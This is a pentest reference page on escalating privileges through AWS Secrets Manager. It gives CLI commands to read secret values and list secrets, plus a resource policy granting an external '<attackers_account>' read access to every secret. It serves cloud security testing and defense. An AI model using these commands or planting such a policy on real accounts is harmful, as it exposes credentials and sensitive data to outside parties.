# AWS - Secrets Manager Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## Secrets Manager

For more info about secrets manager check:

{{#ref}}
../../aws-services/aws-secrets-manager-enum.md
{{#endref}}

### `secretsmanager:GetSecretValue`

An attacker with this permission can get the **saved value inside a secret** in AWS **Secretsmanager**.

```bash
aws secretsmanager get-secret-value --secret-id <secret_name> # Get value
```

**Potential Impact:** Access high sensitive data inside AWS secrets manager service.

> [!WARNING]
> Note that even with the `secretsmanager:BatchGetSecretValue` permission an atatcker would also need `secretsmanager:GetSecretValue` to retrieve the sensitive secrets.

### `secretsmanager:GetResourcePolicy`, `secretsmanager:PutResourcePolicy`, (`secretsmanager:ListSecrets`)

With the previous permissions it's possible to **give access to other principals/accounts (even external)** to access the **secret**. Note that in order to **read secrets encrypted** with a KMS key, the user also needs to have **access over the KMS key** (more info in the [KMS Enum page](../../aws-services/aws-kms-enum.md)).

```bash
aws secretsmanager list-secrets
aws secretsmanager get-resource-policy --secret-id <secret_name>
aws secretsmanager put-resource-policy --secret-id <secret_name> --resource-policy file:///tmp/policy.json
```

policy.json:

```json
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "AWS": "arn:aws:iam::<attackers_account>:root"
      },
      "Action": "secretsmanager:GetSecretValue",
      "Resource": "*"
    }
  ]
}
```

{{#include ../../../../banners/hacktricks-training.md}}



